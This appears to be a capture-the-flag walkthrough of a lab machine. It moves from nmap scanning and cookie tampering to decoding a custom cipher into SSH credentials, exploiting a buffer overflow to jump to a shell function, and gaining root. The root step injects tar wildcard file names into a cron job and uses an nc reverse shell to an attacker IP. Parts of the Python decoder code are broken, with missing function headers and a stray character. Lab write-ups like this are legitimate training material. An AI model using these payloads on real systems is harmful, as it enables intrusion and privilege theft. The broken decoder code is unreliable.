BOOK THIS SPACE FOR AD
ARTICLE ADWhile attacking the complex structure in front of us, we will develop our sharp intelligence and penetration abilities, as well as understand the importance of overflow research.
You may see that the IPs change from time to time, do not care, we will be using different machines as we progress. The entire methodology is the same.
Let’s start cyberpunks!
Let’s act quickly and save the values we use most in the shell, as we always do.
Now we need to register the target on local DNS, we can use our local /etc/hosts file for this.
You’re ready to move on to the discovery phase.
As a first step, you should try to gain detailed information about the target network and system structure by using our nmap tool: nmap -sV -sC -sT -oN nmap_result.txt -T4 -A --script=vuln -Pn $target_ip
-sV: Version detection. This flag tells Nmap to determine the version of the services running on open ports.-sC: Default script scan. This flag enables Nmap's default scripts, which are a set of scripts that cover a broad range of functionalities, including vulnerability detection and service enumeration.-sT: TCP connect scan. This flag tells Nmap to perform a full TCP connection to each port (also known as a connect scan).-oN nmap_result.txt: Output to a file in normal format. This flag tells Nmap to save the scan results in a file named nmap_result.txt.-T4: Timing template. This flag sets the timing template to 4 (Aggressive), which speeds up the scan but increases the likelihood of being detected by IDS/IPS systems.-A: Enable OS detection, version detection, script scanning, and traceroute. This flag is used to perform a comprehensive scan with additional features.--script=vuln: This flag specifies that Nmap should run vulnerability scripts. These scripts check for various vulnerabilities on the target.-Pn: Treat all hosts as online -- skip host discovery. This flag tells Nmap to skip the ping check, assuming the target is up.It is important that you master the Nmap tool. You should be patient and analyze the information you get here.
The output told us some details. We have information about open ports, version identification and some advisory CVE notes. In a real scenario, you don’t know where the solution will come from. That’s why you should save them all.
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
SSH (Secure Shell):
Port 22: The default port for SSH, a protocol used to securely log into remote systems.OpenSSH 7.6p1: A specific version of the OpenSSH software package, which is a suite of secure networking utilities based on the SSH protocol.Ubuntu 4ubuntu0.3: This indicates the package version specific to the Ubuntu operating system.Protocol 2.0: Refers to the version of the SSH protocol being used.HTTP (Hypertext Transfer Protocol):
Port 80: The default port for HTTP, used for web traffic.Apache httpd 2.4.29: A specific version of the Apache HTTP Server, which is a widely used web server software.Ubuntu: Indicates that this version of Apache is built and maintained by the Ubuntu project.You also saw that different pages are available over HTTP.
| /robots.txt: Robots file| /css/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
| /images/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
|_ /js/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
Now let’s run a different nmap command, this time our goal is to enumerate pages over HTTP: nmap -sV --script=http-enum -A $target_ip -oN enum_result_nmap.txt
You can do a more targeted scan: nmap -sC -sV $target_ip -p 22,80 -oN target_scan_nmap.txt
You have seen that you should not settle for a single query. There is another endpoint here that we have not seen in previous queries.
/zYdHuAKjPWe need to take our discovery phase to the next level and get the details. First, let’s send a curl request to the robots.txt page: curl -X GET http://ourtargetsite.thm/robots.txt
The same information we got from our last nmap query.
Now get the header information:
Let’s check it via browser.
At first glance, we are presented with a page without much detail.
You should always use the tools on the browser. Sections such as “Network”, “Storage” can provide you with evidence of internal workings and API points that are not normally observed.
Additionally, it is recommended to review the page source, as in some cases developers may forget their own notes and scripts there.
The page source did not provide us with additional details. Now it’s time to take a look at the other sections.
We discovered a cookie defined to us. This seems to belong to a mechanism that controls access. Since we are an external user, we are tagged “denied”.
We can go to this point /zYdHuAKjP which we obtained in the query.
We do not have authorization, probably access here is controlled through cookie values. Now let’s manipulate this cookie value through the browser and change it to “granted”.
Now save and refresh the page.
We were right! We have obtained our right of access.
Now we have a value like:
hEzAdCfHzA::hEzAdCfHzAhAiJzAeIaDjBcBhHgAzAfHfNIt has an interesting structure, we need to figure out what it means, but before that let’s apply a few more approaches.
Note down all the evidence you find and move on to the next step.
Now let’s go to the operatives point and check what we will get.
There may be names of people responsible for internal operations, these are also potential usernames and you should save them.
You can save the names on this page by running the command below, you can also do this manually.
curl -s http://10.10.127.107/operatives.php|grep '<li>'|awk -F '>' '{print $2}'|tr '<' ' '|awk '{print $1}'|tee targetusers.txtWe got the users here.
On the other hand, have you seen the code extension of the page? This is a php infrastructure.
Let’s go back to the secret message we found earlier. This message was created according to a methodology. There is what seems like an encrypted “user::password” value.
hEzAdCfHzA::hEzAdCfHzAhAiJzAeIaDjBcBhHgAzAfHfNAccording to the hint, “zA” is equal to “a”.
To decode the given message according to the described method:
Converts each letter in a pair to its alphabetical position.Sums these positions.Converts the resulting sum back to a letter.You can use the sample codes below.
cipher = input("Enter two character: ")print(cipher)
first= cipher[0]
second = cipher[1]
ans = (ord(first)+(ord(second)%65)+1)
print(ans)p
print(chr(ans))#!/usr/bin/python3
encoded_1 = "hEzAdCfHzA"
encoded_2 = "hEzAdCfHzAhAiJzAeIaDjBcBhHgAzAfHfN"
all_alpha = "" # String of all lowercase english alphabets
for i in range(ord('a'),ord('z')+1):
all_alpha += chr(i)
print("Encoded => " + encoded_1)
print("All alphabets => " + all_alpha)
print("Decoded => ",end="")
# This loop iterates over all PAIRS of the alphabets, ignoring the '::'
for i in range(0,len(encoded_1),2):
first_char = encoded_1[i] # Since the first char in all pairs is lowercase
second_char = encoded_1[i+1].lower() # Since the second char in all pairs is uppercase
if first_char == ':':
print(":",end="")
continue
first_alpha_position = ord(first_char) - ord('a') + 1
second_alpha_position = ord(second_char) - ord('a') + 1
decoded_alpha_position = (first_alpha_position + second_alpha_position) % 26 # The modulo operation takes care of the "imagine the list of alphabets arranged in a circular loop" part I was talking about
decoded_alpha = all_alpha[decoded_alpha_position - 1] # Array indexes start at 0, yes?
print(decoded_alpha,end="")
print("")
"""Convert a letter to its position in the alphabet (1-26)."""
return ord(letter.lower()) - ord('a') + 1
def number_to_letter(number):
"""Convert a position in the alphabet (1-26) back to a letter."""
number = (number - 1) % 26 + 1
return chr(number + ord('a') - 1)
def decode_message(message):
"""Decode the message according to the specified method."""
decoded_message = ""
# Split the message by 'zA'
parts = message.split("zA")
for part in parts:
for i in range(0, len(part), 2):
if i + 1 < len(part):
# Get pairs of letters
first_letter = part[i]
second_letter = part[i + 1]
# Convert letters to their numerical positions
first_number = letter_to_number(first_letter)
second_number = letter_to_number(second_letter)
# Sum the positions
sum_number = first_number + second_number
# Convert the sum back to a letter
decoded_letter = number_to_letter(sum_number)
# Add the decoded letter to the result
decoded_message += decoded_letter
return decoded_message
# Given message
message = "hEzAdCfHzA::hEzAdCfHzAhAiJzAeIaDjBcBhHgAzAfHfN"
# Decode the message
decoded_message = decode_message(message)
print("Decoded Message:", decoded_message)
Let’s try one of these.
Yes we have the first part:
hEzAdCfHzA --> magnaRun for other.
We also got the other part:
hEzAdCfHzAhAiJzAeIaDjBcBhHgAzAfHfN --> magnaisanelephantDo you understand what this means? Yes, we now have the credential:
magna::magnaisanelephantWe saw that the SSH port was open. We can try to log in with the user we obtained through this.
Our attack surface has expanded. Now you can start navigating the system.
In a real scenario, every detail you get is important. You need to go as deep as possible and gather information.
The command dpkg --version is used to display the version information of the dpkg utility installed on a Debian-based Linux system, such as Debian, Ubuntu, or any other derivatives. dpkg is the Debian package manager that is used to install, remove, and provide information about .deb packages.
This information lets you know which version you should use when uploading a new code to the target system.
To get information about working and listening ports on the internal network using netstat, you can use the following command:
netstat -tuln-t: Show TCP ports.-u: Show UDP ports.-l: Show only listening sockets.-n: Show numerical addresses instead of resolving hostnames.From your netstat output, it appears that there is a DNS service listening on 127.0.0.53:53. This is typically indicative of a local DNS resolver, such as systemd-resolved which listens on this IP address and port.
This command will give you detailed information about processes listening on port 53: ss -tulnp | grep :53
Check the DNS configuration: cat /etc/resolv.conf
This command provides detailed status information about the DNS servers used by systemd-resolved:
resolvectl statusThese commands are given as an example for you. Let’s get back to our goal now.
There is a binary, named hacktheworld.
Get file information.
You can see what other information there is.
We discovered that there are some tools we can use to debug the binary.
First, let’s try to import this file to our local machine:
scp magna@10.10.127.107:hacktheworld /root/hacktheworldNow we can debug on our local machine.
You may prefer to use Ghidra for analyzing this binary file.
You can also use Ghidra’s auto analysis feature.
Let’s analyze main function:
We got:
undefined8 main(void){
char local_48 [64];
printf("Who do you want to hack? ");
gets(local_48);
return 0;
}
This function requests and stores an input from the user. It interacts with the local_48 variable.
Now check call_bash function:
There are many interesting details here. Even though some strings are printed here, there is a UID definition. When /bin/sh is called, we can take actions via spooky’s shell.
Note these findings.
You can also choose to use radare2.
r2 -d hacktheworld:
This command starts Radare2 in debugging mode with the binary file hacktheworld.After running aaa, you can use other Radare2 commands to explore the analysis results:
afl: List all functions.pdf @ main: Print the disassembly of the main function.i: Display binary information.s <address>: Seek to a specific address.px @ <address>: Display bytes at a specific address.The main and call_bash functions caught our attention here too. Now get detail about call_bash again: s sym.call_bash
It matches the details we got with Ghidra.
In radare2, the dc command stands for "continue" and is used to resume execution of the program after you’ve paused it with a breakpoint or step command.
Now let’s run it and enter a long value. Yes, we have started testing the overflow approach.
We got a error, this is proof for us.
In radare2, the dr command is used to display or modify the state of the CPU registers. It is short for "display registers".
Did you see rbp value? This is the pattern we enter.
rbp = 0x6161616161616161Let’s check out the stack:
pxl 4 @ 0x7fff77f5e528In radare2, the px command is used to print memory contents in a specific format. The pxl variant is a specific option for printing memory as a "long" (32-bit integer) values.
Binary analysis is a very important topic. In this article, we will present these to you for now and continue with the scenario.
You can read the following resources:
https://dhavalkapil.com/blogs/Buffer-Overflow-Exploit/https://0xrick.github.io/binary-exploitation/bof1/https://www.megabeets.net/a-journey-into-radare-2-part-1/https://ctf101.org/binary-exploitation/buffer-overflow/Get ready to enter the real fight. We will usurp another user through this overflow approach.
Now let’s try to directly exploit the binary we have and understand its mechanism. Use: python2.7 -c "print 'a'*100" | ./hacktheworld
We managed to get the “Segmentation Fault” error. But we need to discover what the required value is. This is defined as overflow offset. We had to find the size of the buffer.
You can create iterations.
Yes, we found the size. It is 72. Now try again: python2.7 -c "print 'a'*72" | ./hacktheworld
The theory has been confirmed.
The program crash at 0x48 bytes.
We need to find the function address.
readelf -a hacktheworld | grep -i call_bashThe command readelf -a hacktheworld | grep -i call_bash is used to search for occurrences of call_bash in the output of readelf, which displays information about ELF (Executable and Linkable Format) files. Here's a breakdown of each part:
readelf -a hacktheworld: This command displays all available information about the ELF file named hacktheworld. The -a option stands for "all", and it provides a comprehensive output, including sections, segments, symbol tables, and more.| grep -i call_bash: This part of the command pipes the output of readelf to grep, which searches for lines containing the string call_bash. The -i option makes the search case-insensitive.To convert the hexadecimal address 0000000000400657 to a \x format for use in a context like a payload or hex dump:
Remove Leading Zeros: The address 0000000000400657 is 8 bytes long, but in \x format, you need to represent each byte individually.Convert the address into its individual bytes.It is kind of:
\x00\x00\x00\x00\x00\x40\x06\x57You need to write it in reverse form:
\x57\x06\x40\x00\x00\x00\x00\x00We can inject the little-endian encoded address:
python2.7 -c "print 'a'*72 + '\x57\x06\x40\x00\x00\x00\x00\x00'" | ./hacktheworldNow try this:
(python3 -c "print('A'*72 + '\x57\x06\x40\x00\x00\x00\x00\x00\x57\x06\x40\x00\x00\x00\x00\x00')"; cat) | ./hacktheworldYes! It is done now.
Now we can run this approach on the captured user. Don’t forget to use python to spawn a full shell: python3 -c "import pty;pty.spawn('/bin/bash')"
Now we have switched to the spooky user.
Now let’s move on to privilege escalation. But for this we need to conduct research. First of all, we need to check the scheduled tasks. We will use crontab for this.
crontab is a utility used in Unix-like operating systems to schedule and automate tasks at specified times or intervals. These scheduled tasks are known as "cron jobs," and crontab allows users to manage them.
We discovered a task for spooky.
cd /home/spooky && tar -zcf /var/backups/spooky.tgz *For exploit, you can check out this source: https://www.hackingarticles.in/linux-privilege-escalation-by-exploiting-cron-jobs/
For wildcard: https://www.hackingarticles.in/exploiting-wildcard-for-privilege-escalation/
Or for general information: https://book.hacktricks.xyz/linux-hardening/privilege-escalation
First, we need to create our own reverse .sh code. You must do this on the directory that the user has authority over.
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.179.65 11444 >/tmp/f" > revshell.shPut your machine in listening mode via the port you specified: nc -nlvp 11444
Now do the following in order through spooky.
echo "" > "--checkpoint-action=exec=sh revshell.sh"echo "" > --checkpoint=1
Now we’re ready to jump.
Now just wait for crontab to run this.
Now, we are root!
Don’t give up on hacking.
Code for good.
^-^